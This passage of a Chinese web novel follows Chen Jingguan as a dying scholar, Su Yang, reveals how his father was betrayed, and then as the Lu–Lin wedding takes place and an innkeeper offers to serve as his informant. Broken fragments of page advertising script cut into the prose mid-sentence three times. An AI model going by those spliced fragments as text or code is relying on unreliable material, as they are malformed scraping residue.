“江掌柜,你下一出要唱什么戏?” 13. 陆林之好(三) 正月初六,天还未明,陈京观才刚与自己的枕头待了片刻,甚至都还没入梦,就听到自己的客房门口有人敲门。 昨晚陆栖野伙同几个在澄州的纨绔要给陆栖川办一个属于他的“成人礼”,实则也是想让自己这位许久未曾放松的哥哥稍微松快一下。 几个人在陆府的后院喝酒喝到了后半夜,还是方荔出来将他们训斥了一番,那几个东倒西歪的公子哥才由自己的随从扶回了家。 而今昨夜的酒还未醒,陈京观的脑袋里还是宿醉后的昏昏沉沉,他微微睁眼皱着眉头,想将门口的声音听得真切些。 “陈公子,醒一醒,我家老爷求见,陈公子!” 那人似乎害怕将其他人吵醒,声音压得很低,但是语气里透露出的情绪却十分急切。 陈京观确认了一下的确是有人在门口,便披上了自己的外衣,撑着回来时忘记熄灭的灯笼,推开门,却看到一张陌生的面孔。 “你不是陆府的人,你怎么进来的?” 眼前的人陈京观这些日子在陆府并未见过,但还未等陈京观进一步询问,那人突然就跪在了地上。 “小的是林家的仆人,今夜家中先生突然病危,老爷让我速来请陈公子往林家一趟,万不可再耽误了。” 陈京观看到眼前的人急得涕泗横流,本来还想问些什么,也只好先作罢。 他跟着自称林家仆人的小厮一路绕到了陆府后门,然后后门的守卫与那小厮点头示意,便打开了门。出了门,两人便上了早就停在门口的马车。 “现在你可以细细解释一番了?” 陈京观将衣领处的扣子检查了一遍,又抚了抚刚才跑过来时下摆沾染的尘土,他抬起眼看了眼眼前的小厮。 刚才陆府守卫见他并未起疑,他的身份应当是做实的。 “我家先生何须年前就有胸痛的毛病,但请来的郎中说是人上了年纪,血气亏损,已无可再救。我家老爷便问先生可还有所愿,先生只说了陈公子您的姓名。” 小厮抹掉了脸上的泪,陈京观看他膝盖上的磨损,应当是刚才走得太急在路上摔得。 “何须?你家先生名叫何须?” 陈京观在脑海里寻了很久有关这个名字的信息,但始终不记得自己或者父亲认识这样一位姓名奇特的先生。 “先生是游历来的北梁,幸识我家老爷,那何先生才学一流,颇善琴棋,老爷便让先生做了自己的幕僚,平日也教家中大小姐读书。” 小厮一边说,一边擦着头上的汗。可经过小厮这番解释,陈京观还是毫无头绪。 马车缓缓停进了林府后院,陈京观撩起帘子窥了一眼。 只见林府在夜色中也是辉煌一片,满眼的红色预示着几个时辰后的大喜之事。 “陈公子请随我来,家中小姐今日还要出嫁,如今此事府里没几个人知道,咱们得从后院绕路去外院。” 陈京观点点头,示意小厮带路就好,自己一边跟着他走,一边四处留意着林府的规制。 林均许作为当朝宰相,出身乡野村户,能在这样一个重武轻文的环境下爬到这个位置,可想这一路的艰辛。 若说陆府的宅子尽显武家的粗线条,那林府的宅子就处处透露着文客的谨慎。 整个院子没有过多的装饰,偶有几处装点,也只能看出是主人家自己所设计的小巧思,费不了多大价钱;所用家具比上陆家也是降了一个档次,多为更内敛的檀木,走近了还有木质调的香味。 “公子请,小的就不进去了。” 小厮侧身将陈京观引到了林府外院的一扇门前,为他将门上的帘子揭开。还未进去,陈京观便能闻到很厚重的中药味。 “槿儿,去瞧瞧,是不是人请来了?” 里屋传来一阵老者气若游丝的声音,陈京观寻着声音进去,就看了穿着婚服的林朝槿跪在榻旁。她脸上的妆还未上完,头发也只做了一半,现如今哭得如泪人一般。 “先生,在下陈京观。” 陈京观毕恭毕敬地朝床上的老者行礼。 老人看上去已逾七十,须发间都是岁月褪去的颜色。他的眉眼已无多少力气,见陈京观进来才努力抬眼看了看。 “槿儿,你且去妆发吧,还有两个时辰就该出嫁了,断不能再哭了,先生我命数就在今日,能看到你一袭红衣,也是圆满了。” 林朝槿没有执拗,她分得清轻重缓急。当下人来传先生咳血时自己已有预感,可先生为了自己还是撑了三日,身体早已是强弩之末。 “少将军,我先退下了。” 林朝槿在地上不知跪了多久,起身与陈京观辞别时竟忍不住一个踉跄,陈京观本意要扶,可自己的手又怎么能去碰她的婚服。 等到林朝槿走后,床上的何须也像是卸了力气,整个人倒在下人为他支起来的靠腰上,脖子后仰着,看上去了无生机。 “先生寻我来所谓何事?我一路上思量许久,未曾觉得我与先生有过交集。” 侧卧在榻上的老者没有讲话,但是努力招手让陈京观坐到自己床边。 他抓着陈京观的手,又想要伸手去抚一抚他的眉骨,可奈何确实使不上力气,便自嘲的轻轻一笑。 “豫儿,你是陈频口中的豫儿,你一定是。” 老人嘴里念叨着,也像是说给他自己听的。 而他眼前的陈京观突然愣神,他又将眼前的老人一遍遍打量,可是他无法在记忆里找到有关此人的些许回忆。 “我第一次见你时,你还由你母亲抱着,是应对我没什么印象了。”老人又开始自顾自地说,“可是你长得与你母亲真像。” 母亲……陈京观微微皱眉,他的手还被老人牵着,只是他似乎感觉到了老人的体温在缓缓流逝。 “年前槿儿说南魏出了个少将军陈京观,领私兵救水患,还与陆家兄弟是挚友。我本想着在她大婚时远远看你一眼便好,可身子确实撑到不那时了。景豫啊,你为何改了你父亲斟酌了许久的名字?京观……你看到你父亲了?” 老人说到这,眼里的泪开始往出流,陈京观想给他擦,但老人笑着扭过了头。 “让我为他哭一哭吧,那可是我最好的学生。” 他是苏扬。 突然间,陈京观脑海里父亲总是挂在嘴边的名字与眼前的老人重叠在了一起,他是父亲临死前都愧疚的人,他也是南魏乃至整个大陆的文圣,苏扬。 “让我再叫你几声豫儿吧,”苏扬强撑着让自己的脸上好看些,他盯着陈京观的脸,仔仔细细看每一处,“人老了,就爱讲故事,这故事不讲,我闭不上眼。” 苏扬的眼泪还留着,陈京观此刻只觉得喉咙发紧,鼻子发酸。 “起初……” 起初南魏的朝堂由各个世家分踞,你方唱罢我登场。 直到南魏的文坛出现了一位叫苏扬的才子,他二十岁时参与南魏科举一举夺魁,但是拒绝了先皇帝为他选的所有官职,自请去做了品书官,开始了在各国周游寻书,广收徒弟的生活。 他办的学堂没有门槛,可是只需一节课便可以劝退所有天资不足的学生。 他一生只严厉拒绝过一个人,就是南魏当朝宰相蒋铎。 十二年前,北梁传出要攻打东亭的消息,当时所有人都不以为然,这个才发家的北方小国,断然不敢与有南魏庇护的东亭硬碰硬。 那时只有苏扬觉得传言是真的。 他让时任户部尚书的陈频和自己的儿子翰林学士苏晋想办法避一避风头,切不可以让南魏参与进这场风波。 事实证明苏扬是对的,但陈频在朝堂上联合苏晋与时任吏部尚书的蒋铎大吵一架,以死相逼劝萧霖莫要插手,惹得蒋铎对其成见颇深。 短短两年,北梁对东亭的全面进攻就开始了。 而那场朝堂上的争论并不如大家所想的昙花一现。 东亭的消亡让南魏朝堂很担心会失去这块阻挡北梁的盾,南魏长公主崇宁以此为由推任蒋铎做了南魏丞相,萧霖对此默不作声。 而苏扬在北梁攻下益州的时候向外界宣布自己不再收徒,开始了游历北梁的计划。可在声明发出四个月后,便被外界传闻苏扬失踪,下落不明。 陈京观记得那时的父亲刚被任命讨伐西芥的参谋,他没来及为自己的前途担忧,却为苏扬哭了一夜。 之后苏扬陨落的消息越来越多,陈频派出的人也都毫无收获,陈频也就死心了,领了军令带两万人去了雍州募兵,然后和西芥打了一年,换了一封以皇子为质的和议书。 那书上所写“以南魏嫡子为质,往西芥十年,换南魏和平。同时南魏打开国门,与西芥开始贸易往来”。 信上语焉不详的“嫡子”原本是指那时南魏皇后周湘的儿子,南魏四皇子萧祺枫。可是崇宁在萧霖耳边用一句“六皇子也是嫡子”,便将为质的矛头指向了刚丧母不久的萧祺栩。 温浅刚死, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 其子就要作为工具被送出去,温润痛骂萧霖无情,而陈频也不放心萧祺栩,便自降官职陪着六皇子一同为质。 而后的事情,陈京观都知道了,他也就从陈景豫成了如今的陈京观。 “先生当日为何离开南魏?” 陈京观刚张开嘴,却发觉自己的喉咙早被酸涩占满,好不容易发声,也只能轻轻问上一句。 “说起这事,我于他有愧啊。”陈京观感觉到了苏扬手上的力度重了些,“其实我除却在南魏收徒,还收过一个北梁孩子,也就是如今这座宅子的主人,林均许。北梁要打东亭时,我便觉察出了危险,我让你父亲暂避锋芒,可他怎会置南魏百姓于不顾。后来北梁果真打了,我,便逃到了北梁,来投靠林相。” “先生也觉得,萧霖靠不住?” 陈京观回握住苏扬的手,却发觉自己手心中已经渗满了汗。 “他曾来书院寻我出山,可我无意朝堂,便引荐了你父亲。那时的萧霖还充满着刚即位时的意气风发,他很快与你父亲相熟,也很信任你父亲。可是萧霖似乎忘记了,他的龙椅,是踩着崇宁的血汗爬上去的。” 前朝长公主崇宁,萧娉祎,萧霖的亲姐姐。 “他们的母妃死得早,萧娉祎从小在公主府受尽欺辱,可是她早慧,十六岁时嫁给了时年五十有余的前朝宰相,利用宰相在朝中的权利逐渐消除了挡在萧霖面前的所有阻碍,而等到萧霖被封太子,那位宰相不多的几日便被发现死在家中。可那时,已经是他二人的南魏了。老皇帝年岁已高,没过三年就薨逝了,萧霖便顺其自然成了南魏皇上。” 有关萧霖的故事陈京观多是通过传言知晓一二,如今经苏扬一说,倒是对崇宁甚是感兴趣。 “父亲之死,与崇宁脱不开干系?” 苏扬微微点头,此时他脸上的泪已经流尽,似乎与他的气力一同越走越远。 “崇宁……她还是长公主的时候我便见过她,那时候,她虽刁蛮,却没多少心机,她欣赏我的字,我也欣赏她的画。后来她嫁了人,我便再没见过她了。你父亲,”苏扬说到这顿了一下,陈京观觉得他隐瞒了些什么,“他是政治博弈的牺牲品。萧霖虽坐皇位,但实际掌权的却是崇宁,自她将蒋铎推上相位,更是一发不可收拾。你父亲只为南魏百姓,他不在乎谁居高堂。那日他与蒋铎在早朝上正面交锋,他自己也便想到了会有这一日。” “可父亲怎会落入遏佐的手中?” 陈京观自然明白陈频心中的抱负,但他父亲不是执拗冲动的人。若无其他因素,他断然不会直接于朝堂上和蒋铎起争执。 但是苏扬有意瞒着自己,陈京观便也不想多问。 “此事,是蒋铎授意。崇宁只打算让萧祺栩失去夺位的可能,但是蒋铎害怕十年后陈频回来与自己再争相位。陈频,是被直接送到遏佐部的。” 苏扬的话说完,陈京观只觉得脑袋一愣,仿佛自己被人扔进了数九寒天的冰窟。 他身上被密密麻麻的冷意占据,回想起那时他打听到的“使团并未来过雍州”,如今想来倒是合理了。 “陈频和六皇子的马车一前一后出了阙州,未按原本的计划走雍州道,而是穿过霖州,走了槐州道,径直去了腾里沙漠。当你父亲发现不对时,六皇子的马车已经不见了踪影,而你父亲下了轿子,就被遏佐擒住。那之前的一年,在你父亲参与的西芥之战中,遏佐的长子都木,就死在你父亲的剑下。” 此时的陈京观已经听不清苏扬在说什么了,巨大的信息占据了他的大脑,原本被酒精控制的神经此刻全然跳动。 父亲,是被亲手送到遏佐刀下的。 “豫儿,如今你成了少将军,我不知是否该恭喜你。但我不希望你走你父亲的老路。南魏早已如当日的东亭,已然是被蛀空的朽木,我不祝你功成名就,我只希望你如你的名字一般,顺遂安乐。” 苏扬说完,陈京观的手中突然没了力气,再看榻上的老人,泪痕在他脸上干涸,久病之人,形如枯槁。 如今他没了气息,更让陈京观觉得恍惚。 这一夜的对话,更像是苏扬没来得及对父亲说的嘱咐。 天亮了,门口的阳光从窗户里透进来,可陈京观感觉不到丝毫暖意。 庭院里的人开始为了林朝槿的婚事做最后的准备,窗户的喜字,悬在树上炮仗,还有林朝槿走后与屋里中药味混在一起的胭脂香。 “先生,你还瞒了我什么?” 14. 陆林之好(四) 苏扬的死,秘不发丧,因为他早就死在了多年前游历的路上。 而相府幕僚何须,年岁已高,自请告老,从此无人知晓其行踪。 陈京观趁着林府的人不注意,从后院翻了出去,又在陆栖野来叫自己时装作酒醉刚醒。 昨夜,他只是大梦一场,梦里所见所闻,不会有其他人知道了。 “你怎么一脸疲态?昨夜没休息好?” 陆栖野少见地穿着一袭紫红色长袍,甚至还用玉冠纨了发,而他身后跟着的晏离鸿也罕有地着一身墨蓝色长袍。 “宿醉方醒,如今还脑袋空空。倒是你,怎么如此高兴?” 陈京观揉了揉眼睛,尽量让自己看起来别无异样。 “今日哥哥的随护只选一人,我与桑大哥,还有他,”陆栖野朝着晏离鸿地方向努了努嘴,“清早就在后院比试。赛马、投壶和射雁,都是我胜了。” 陆栖野脸上挂着得意,手里面拿着等下要交到新嫁娘府中的随钱。而陈京观再看晏离鸿,他低头笑着,腰间系着陆栖野那日在廊州买的香囊。 “走吧,哥哥的马已经上了长街,我要先去帮他收拾轿子,你与他骑着马跟在后头,等下仪式开始了我去找你。” 陈京观点点头,示意他先去。而后与晏离鸿并肩朝门口走去。 “昨夜少将军出去了一趟?” 晏离鸿淡淡开口,脸上的表情没有丝毫变化。他有意无意地抬腿碰到那个香囊,然后嘴角勾起一抹笑。 倒是陈京观,为他突然发问一怔,只回了一句“嗯”。 “少将军莫多想,晏某没有窥人隐私的习惯。我只是清早起得比较早,在去书房路上看到了形似您的身影。” 晏离鸿昨晚没有参与陆栖野的酒局,早早就去房中睡下了,陆栖野早就习惯了他的古怪性子,也没多说什么。 “晏公子,你想问什么大可以直说。” 陈京观的思绪其实还未从昨夜的对话中恢复,如今很难再分出精力研究晏离鸿的画外音。 “您与林家也是旧相识吗?昨日带您出去的小厮是林家的家仆。” 陈京观嘴角微微勾起,在陆府门口转过身对着晏离鸿,他的双眼因为整夜未眠有些泛红,但是又因昨夜饮酒的缘故,倒也不会让人起疑。 “我昨晚是去了林家。我给林府的贺礼前些日子到了,昨日林府清点的时候发现少了几样,让我去帮忙核查,因为是林家与我之间的事,我便没有告诉栖野。又因是林府遭窃,我也不好声张。如此解释,晏公子可还满意?” 陈京观脸上露出了少有的冷意,明明他的笑还挂着,可是晏离鸿很清楚的感受到了他心底里的怒气,以及几分他未看透的悲凉。 “少将军断不能误会了晏某,晏某问上这一嘴也是担心少将军一人在澄州,若是有什么要紧事需要办,我可以帮忙。” 晏离鸿的话含混不清,陈京观微微皱眉,没有再说什么。正巧二人碰见了要出门的桑柘,便一起走到了长街上。 陆家的迎亲队伍,选的全是昌安军营里个顶个才貌俱佳的兵士,再加上为首的新郎官陆栖川和随护陆栖野,引得整条长街两侧的看官纷纷侧目。 队尾的晏离鸿很少踏出陆家的门,此刻他侧身骑在马上,虽目不斜视,可耳旁总是传来争相议论的声音。 而与他并排的陈京观,已然对外界的环境没了感知,木愣愣地驾着马,脑子里纷乱非常。 陆家的小厮一路撒着花敲着锣,还时不时给路边的小孩递上一把喜糖。 陆家与林家分隔在平康坊和宁康坊,走过去差不多也就一刻钟,等他们的车队停到林府门口,长宁街两旁的长街宴也就摆了起来。 陈京观此时再抬头看那“林府”二字,感觉有些恍惚。 他跟着陆家的人一起走进院内,此时的宾客早就站满了林府的前厅。 只见林朝槿的身影在屏风后若隐若现,她手拿母亲绣的团扇,半掩着自己的面容,一身红色的喜服垂在地上。 队伍前头的陆栖野将随钱交给了林家的管事,陆栖川就随着司仪的指挥一步步笨拙地朝林府的正堂走去。 他们的仪式删去了女方跨火盆之类的活动,却保留了新郎敲门、挑灯的步骤。 在宾客的起哄声中陆栖川终于是走进了林府的正厅。林朝槿因是林家长女,上面再无哥哥,陆栖川便商议由自己将她背上花轿。 此时的林府主母梅椿早已哭红了眼,就连林均许都在一旁轻轻抽泣,等陆栖野绕过屏风接上林朝槿时,陈京观看到屏风那头的人影在与陆栖川说些什么,随后就见她朝林府外院的位置举了一躬。 陈京观清晨离开林府时无意间听下人说道,小姐的妆发已经完备,可老爷和夫人还是在小姐的闺房中待了许久。 “愣什么神呢!走啦!” 陆栖野将轿子的帘子撩上去,也就算是完成了任务。他看着哥哥的马走在最前头,自己就慢慢遛到队伍后面来找陈京观。 “好。” 平日里陈京观的话虽然不多,可是也不会像今日一般。从早上陆栖野见他第一眼他就觉察出了他的不对劲。 往日陈京观酒量很好,只说昨日那一坛桂花酿就能让他彻夜不眠,他断然不信。可是陈京观的脸色很不好,而自己忙着为哥哥接亲也一直没顾上问。 “你是不是又有事瞒着我?” 陆栖野骑着自己的马,用缰绳牵着马往陈京观的方向靠,而陈京观不为所动,依旧默不作声。 “你早晨与离鸿起了争执?我看你俩在门口站了许久。” 陈京观摇摇头,长叹了一口气后故作正常的望着陆栖野。 “栖野,你能接受隐瞒吗?” 陆栖野本想摇头,可是又觉得不对,便开口道:“若是与我有关的,我不接受。若是他自己的事无法开口,我愿意等他能开口的那天再告诉我。” 陈京观若有所思地点头,胸中有口憋了很久的气似乎疏解了,便笑着拍了拍陆栖野的肩。 “小孩长大了,也知道了难言之隐。” 陆栖野有些无语地白了陈京观一眼,撇了撇嘴,他见陈京观的确没有再说下去的意思,也只好止住了自己好奇的心。 “那你与我说些能说的。” 陈京观抿了抿嘴,从怀里掏出了一颗饴糖递给陆栖野。 “你尝尝,与你们北梁的有何不同?” 陆栖野接过那颗糖,拿在手里看了看,有些疑惑地望着陈京观,而后者只是示意他先试试。 “呃,比小时候街上吃的多了一股说不出来的香气,但是极像林伯父曾给我的。” 陆栖野一边品味着嘴里的糖,一边等着陈京观的后文。 “那就好好吃糖吧,别说话了。” 说完,陈京观扬起马鞭加快了速度,留着陆栖野一个人半天愣在原地,后知后觉才怨怼地说:“你嫌我吵?陈京观!” 接亲的花轿已经到了陆府的门口,陆超和方荔也早早就在正堂坐好了。 他们对这个儿媳十分满意,早就与陆栖川一起等着将她娶进门,如今成真了,二人春风满面地候着,还不停让侍从去门口瞧。 “夫人,人来了。” 在门口候着的小厮笑着朝正厅喊道,方荔忙让他小声些。 只见那轿子稳稳停在长阶之下,陆栖川起身下马,接过了侍从递来的长杆,轻轻挑起了掩着的纱帘。轿子里面递出一只手,陆栖川便顺势将她抱在了怀里,一直抱着进了陆府的门才放下。 “新人到堂前,宾客站两边,才子配佳人,鼓乐响云天!” 司仪的声音一起,门口的鞭炮也应景地炸开。陆栖川扶着林朝槿朝正堂走去,他感觉到了她手心渗出的汗,眉眼间多了几分笑意。 “莫紧张,走过去拜了父母就结束了,那些繁文缛节,你不喜欢我们便都不做。” 林朝槿的脸还掩在团扇的阴影下,陆栖川没看清她的表情,他手上的力度大了些,林朝槿才如梦初醒般微微侧过头看了他一眼。 “先生的事情林伯父与我说了,三日后你回门,我会安排好轿子,接你先去墓园一趟。”陆栖川见林朝槿没什么反应,接着又说,“我知道你与先生的感情深厚,今日你还能如此妥帖地进行到现在,很不容易了。” 林朝槿一路上绷着的笑在这一刻僵在了脸上,而眼眶中却渐渐蓄满了酸涩。 昨晚先生已在弥留,半梦半醒间只是念叨“陈京观”的名字,她不解,可父亲什么也没说就去陆府请来了陈少将军,后来他们说了很久的话,等下人再来报时,先生已经仙去。 她早上在林府见到陈京观时很想拉住他问个清楚,但是陆栖川的等待让她断绝了自己一切疯狂的想法,最后,她只能在离家前朝着先生的方向一拜。 她本想装作什么都没有发生,可是先生是自己与母亲间唯一的联系了。 如今先生走了,再也没人会与自己谈起母亲梅樾少女时的风姿绰约。 “对不起。” 林朝槿努力止住了脸上的泪,在跨进正堂的时候又换上了笑容。可她的情绪被方荔都看在眼里。 “槿儿怎么哭了?以后若是想家,让栖川骑马带你回来。再不行,陆家在澄州的宅子本也是给栖川的,你若嫌平州和禹州偏远,让 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 栖川陪你住在澄州就好。” 方荔见不得自己从小看着长大的小姑娘落泪,忙上前将她的手拉进自己怀里。 她很羡慕林家能有两个漂亮的女儿,不像自己家全是调皮捣蛋的儿子。 “你方姨说得是,再过些时日栖川领了昌安将军令,就要常住在澄州了,到时候你去娘家也方便。” 陆晁在方荔身边附和着,见时辰到了,便向身旁的人示意,而司仪也便识相的朝庭院的方向喊道:“日吉时良,天地开张,乾坤相配,大吉大昌。男女双双堂前站,天赐仙女配良缘。一拜天地,天长地久!” 司仪的话音一落,陆栖川便牵着林朝槿朝厅堂一拜。 “二拜高堂,四季安康!” 陆晁和方荔回到自己的位置上,看着自己的儿子与儿媳朝自己跪拜,随后笑着将手里的镯子戴在了林朝槿的腕子上。 “夫妻对拜,百年恩爱!” 陆栖川的手其实从进了屋子就未将林朝槿松开,如今夫妻对拜,他看着林朝槿的眼神更加柔和,而林朝槿也抬眼望他。 “礼成!” 陆家的厅堂里少有的站了如此多的人,陈京观与陆栖野站在边厅的门口,远远朝正堂望着。 “林姐姐今日也不对劲,往日她很少哭的,可今日她上了轿子就一直哭。” 陆栖野双手抱着肩,虽没换衣服但是将自己的佩刀别在了腰间,他的身形很挺拔,即使在人堆里也是一眼便能望见的。 “许是舍不得爹娘,又或者,她只是想哭一哭,等她自己过了这个劲就好了。” 陈京观已经不再如早上般木讷,他一如往常地挂着笑,观察着周围的人。 他虽然对北梁的朝廷不熟悉,但是从陆栖野嘴里还是多少听到了些人名,能看到不少北梁朝廷上的新秀。 “他怎么来了?” 陈京观闻言朝着陆栖野目光聚焦的地方看去,看到一个年纪不算轻的男子,他的气质与周遭不太相符,一身黑衣立在人群的外围。 “他是谁?” 陈京观很少见到陆栖野如此警惕地敌视一个人,他的手慢慢从胸前扶到了刀上,眼中有一丝狠厉。 “孔肃,林伯父的政敌,如今北梁上升最快的文官。四年前殿试中应上了皇上的诗句,皇上直接升任他做了吏部员外郎,短短两年又做到了郎中,他的官路与林伯父的上升之路极为相似。” 堂内贺喜的人逐渐走到宴会厅,陆家宅子的庭院很快便恢复常日的空旷,原本站在角落的孔肃朝来客登记处走,留下了礼金便转身离开。 “要是寻常的政见不一,你不会有如此反应,这个孔肃,可是做过什么?” 陈京观示意陆栖野方荔在派人寻他们,一边拉着陆栖野往宴会厅走,一边望着孔肃消失的背影。 “他求娶过林姐姐。在哥哥被传死在了汝州的时候。” 陆栖野的语气很冷,陈京观侧目撇了眼他的表情,他第一次在少年脸上看到了极深的厌恶。 “索性,有情人终成眷属,”陈京观轻声安慰着陆栖野,顿了一下,又继续说,“明日我就要回阙州赴任了,还要托你办件事。” 陈京观一边说一边将怀里的饴糖递给陆栖野。 “这包饴糖是我送给林姑娘的贺礼,我此时的身份不方便与她私下见面,你替我送去吧。” 陆栖野看着手上这包糖,有些困惑地看着陈京观。 “你就送这个?真就是礼轻情意重?” 陈京观被陆栖野的嘲弄逗笑了,低下头一边轻笑一边摇头。 “你就说吧,好不好吃。” 陆栖野有些无奈。他身边这个人常有些异于常人的点子,也正是如此,他才觉得陈京观笼在虚假的面具下的心十分鲜活。 “行,这个差事我应了,那你有什么报酬给我?” 陈京观知道眼前的人是在打趣自己,便顺着他的话往下说:“下次再来北梁给你带雍州的特产。” “什么特产?” 陆栖野有预感陈京观要语出惊人,下一秒便听到他说: “我带来的麻烦。” “陈京观!” 两人追着朝宴会厅跑去,等到了门口被陆晁呵斥了一番,也就都老实了。 里面的宾客已落座,林朝槿在卧房等着,而陆栖川刚给她送了点心,现在出来敬酒。 陈京观自觉坐在第一张桌子上不太合适,便应承了陆栖野一句,朝门口的桌子挪了挪。那一桌都是他不相熟的人,他本想吃点东西就回偏殿收拾东西,可还没等他起身,他身后就响起问候。 “少将军,别来无恙。” 15. 陆林之好(五) 陈京观转身,看到江阮端着杯子朝自己走来。他今日穿的很素净,一袭青衣,看上去更加瘦削。 “我本以为今日没机会与少将军说上句话,少将军怎么没去上坐?” 江阮端着杯子的手还悬在半空中,见陈京观的杯中还空着,忙叫来随从为他斟酒。而陈京观看着眼前的人,也停下行将迈出的步子。 “上坐的都是陆家亲眷,而且陆皇后在,我在那里不合适。倒是江掌柜怎么来了陆家的宴席,莫不是与陆将军也有私交?” 江阮笑着,轻轻端着杯子迎上了陈京观的敬酒姿势,微微仰头将杯中的酒一饮而尽。 “年前方夫人派人来迎春楼订了今日婚宴的糕点,还将今日的酒水也都签给了我,桑统领来验收时鄙人便有幸收到了陆府的请帖。不知迎春楼的梅子酒是否还合少将军的胃口?” 陈京观低头看着杯中的酒,他刚入口时还觉得诧异,那一阵酸味引得他微微皱眉,但是很快又被清爽的感觉抑住,现如今只留下最后的回甘。 “没想到除了玫瑰酥,江老板对酿酒也有研究?” “今年新鲜的梅子还没下来,等我过些时候去济州采买,到时候酿好了给少将军送到府上。” 陈京观微微向他点头,轻道了句“多谢”。 江阮还是保持着初见时的笑容,他转头看到陈京观碗碟里的饭菜都吃得差不多了,便摆了摆手,示意跟在身后的侍从先退下来,然后对着陈京观做了个“请”的手势。 “我见少将军也吃完了,江某是否有幸能请少将军带我在陆府里转转?少将军作为陆小爷的朋友,在陆府里行走自然要比我方便些。” 陈京观轻轻挑眉,挂着笑朝江阮点了点头,二人穿过了宴会厅。临走时,陈京观侧过头发现陆栖野在望着自己这边,他便用眼神示意让他放心。 “江掌柜,我有个疑惑,不知道能否请您帮我解答?” 刚走进陆府的庭院,陈京观便停下了步子,他转过身正对着江阮,眼神不加掩饰盯着眼前的人。 “若能帮少将军解惑,是江某之幸。” 江阮微微弓着腰,作出谦卑的样子。 陈京观看不见他低下去的脸上是什么表情,但他觉得能将礼数做到这个份上,眼前人只让他觉得颇为有趣。 “那日我与栖野去贵店买玫瑰酥,江掌柜何故要演那么一场戏?其实您就是一言不发站在那,我也会记住您的。” 陈京观的话刚说完,江阮便笑出了声,他用手掩着嘴,半晌,又抬起头对上了陈京观的视线。 “您早说,我便不费那个力气了。” 江阮的目光丝毫没有想要回避的意思。 若说陈京观的眼神里有一把刀子,那江阮便只等着那把刀子落下来,让自己的鲜血溅到他眼前人的身上。 “那江掌柜真正的用意是什么?您如今掌着北梁最大的客栈营生,想必不缺银子,若是要其他的,您直接借着玫瑰酥的由头向屋里的陆皇后张嘴,要比我管用。” 江阮笑而不语,他的眼神不再对着陈京观,而是开始环视整个陆府。 “我想做少将军的耳朵。” 江阮的声音极轻,仿佛说了一句无关痛痒的闲话。可陈京观听得清清楚楚,他的眉眼微微挑起了一瞬,但大体上依旧是风轻云淡的样子。 他想等江阮继续说下去。 而此刻宴会厅的宾客也都渐渐吃完了,开始朝主桌敬酒,然后陆续出门。 “少将军明白我的意思,也想当然是调查过我迎春楼。江某今日把话说到了,至于用与不用,您说了算。” 江阮也没有承了陈京观的期许,他笑着止住了话,然后一如上次般告辞离开。等他走后,陈京观便看到了朝自己走来的迷津。 “陈公子,我家二公子请您去偏殿。” 陈京观微微皱眉,拉住了转身要走的迷津。 “陆皇后走了?” “嗯,皇后娘娘嫌人多,刚用过饭就去了林姑娘房里,如今刚从大门离开。” 陈京观点点头,看着迷津快步上前扶住了有些醉酒的陆栖川,而后自己朝偏殿走去。 趁着走路的功夫,陈京观脑子里又回溯起江阮刚才的话。 耳朵。他迎春楼果然是北梁最大的情报组织。 那日回到陆府,陈京观便一封信递到了雍州,不出三日,董辉就将江阮的背景查清楚了。 那封回信上言明了迎春楼盘根错节的关系网,同时提到了江阮似乎与北梁朝廷也有牵连。 只是,只字未提江阮来到北梁之前的十几年。 一个东亭人能在北梁埋下如此深的情报网,还能在澄州做一份风生水起的营生,只凭“不简单”,已然不足以形容他了。 陈京观想着,脑海里也有了些许打算。他停在偏殿门口,长呼了一口气,然后走了进去。 “你找我何事?” 陈京观刚踏进偏殿的门,就看到陆栖野一脸愁容,他手里攥着一块形似令牌的东西,眼看着陈京观进来了,也没有像往常一样问候。 “又被陆将军训斥了?” 陆栖野摇摇头,示意陈京观把门关上,然后将手掌里的东西放在了桌上。 “陆家马场的令牌,又或者说,陆家私兵的兵符。” 陈京观没有言语,走到陆栖野身旁坐下。他看着桌上的奔马纹样,那牌子上还刻着一个“陆”字。 昌安营与陈京观的平远军不同,那是专属效力于北梁皇室的军队,是北梁开国皇帝打造的铁骑王牌,陆晁也只是作为将军统领全军。而陆家马场,因其承担了北梁整个骑兵建设的重心,故而也备受皇家重视。 但是陆家马场正如其名,是陆家自己的私人产业,当年方荔以马场为嫁妆,嫁给了陆晁。 平日里马场兼具训马和育种的工作,需要大量人员,这些人员配额也就成了昌安营军户的又一后路。 只是这些身经百战的士兵去了马场,这马场无疑也就成了某种意义上的陆家私兵。 北梁皇上元衡因为信赖陆晁,更也是疼爱陆韶怜,便一直将陆家马场划归给陆家管。之前一直由陆韶怜时不时去巡察,而今这令牌到了陆栖野手中,其意义不言而喻。 “你不该高兴吗?陆家马场是北梁军事繁盛的根基,你父亲与姑姑,都在为你谋算。” 陈京观瞧着那令牌,又抬眼望着陆栖野,可少年人脸上没有半分喜悦的颜色,他手上不停拨弄着那串菩提,脸绷得很紧。 “你的顾虑是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” 陈京观拍了拍陆栖野,示意他将令牌收好,而后者依旧默不作声,只是伸手将令牌塞进了自己胸前。 “你姑姑是同你说了些什么?” “她让我守住马场,她说这是陆家最后的底牌。” 陆栖野长叹了一口气,抬眼望着陈京观。 “姑姑,是不是知道了什么?或者,朝廷有了什么动作?” 陆栖野的神色比刚才看见孔肃时还凝重,整个人背挺得很直,下颌因为紧张而咬紧。 陈京观没有再细问刚才饭桌上的谈话,他觉得自己不该参与北梁内部的决策,可眼前的人,如同一根绷紧的弦,仿佛下一秒就做好了赴死的准备。 “你父兄有无异常?若没有,那便是你姑姑觉得你应该为陆家分担了,是对你的历练。莫要掉以轻心,也莫要杞人忧天。” 陈京观拍了拍陆栖野僵直的背,眼前的人似刚被从水里捞起来一般开始深呼吸。 他虽然每日都盼着家中能对自己多几分期许,可他不希望这分期许是临危受命。 他不想用陆家换军功。 “昌安营如今一切正常,就是父亲年岁已高,今年的冬训明显有些力不从心,估摸着过几年就会将昌安军彻底交给哥哥。” 陈京观点点头,替陆栖野倒了杯茶,又起身重新将房门大开,好让外面的冷气吹一吹发愣的陆栖野。 “对了,刚刚江阮找你何事?” 陈京观微微摇头,透着房檐看着那四四方方的天。 